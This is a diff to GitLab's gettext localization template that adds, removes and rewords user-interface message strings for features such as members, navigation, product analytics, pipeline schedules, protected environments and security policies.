msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22258,9 +22504,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22411,6 +22666,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23614,6 +23872,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23662,6 +23923,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23806,9 +24070,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24124,9 +24385,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24289,9 +24547,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24424,6 +24679,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24493,9 +24751,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25255,6 +25510,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25270,9 +25528,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25372,6 +25627,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25441,9 +25699,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25456,9 +25711,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25798,6 +26050,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25837,6 +26092,9 @@ msgstr[2] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25846,6 +26104,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25867,10 +26140,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25879,9 +26152,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25909,6 +26188,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25936,6 +26218,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26221,10 +26509,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26284,6 +26575,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26713,6 +27007,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27109,6 +27409,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27133,6 +27436,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27142,6 +27448,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27166,24 +27475,36 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27277,6 +27598,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27406,9 +27748,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27724,9 +28063,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27904,6 +28240,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28444,13 +28795,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28501,6 +28846,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28930,6 +29287,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29095,6 +29455,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29521,12 +29884,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29686,9 +30043,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29833,12 +30187,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30370,7 +30718,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30385,6 +30733,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30397,6 +30748,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30424,6 +30778,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30442,6 +30802,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31396,9 +31759,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31456,6 +31816,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31483,7 +31846,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31498,9 +31864,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31612,6 +31975,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31624,27 +31990,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32299,6 +32866,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32518,6 +33097,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32593,9 +33175,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32767,9 +33346,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32920,10 +33496,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33055,6 +33631,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33679,6 +34258,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33691,6 +34288,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33727,6 +34327,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34459,6 +35062,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34726,9 +35332,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34786,9 +35389,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34825,6 +35425,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35785,7 +36412,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36160,7 +36787,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36367,6 +36994,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36391,9 +37024,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36409,6 +37039,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36418,12 +37051,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36616,9 +37273,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36997,6 +37651,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37018,6 +37681,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37297,7 +37963,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37360,10 +38026,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37378,6 +38044,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
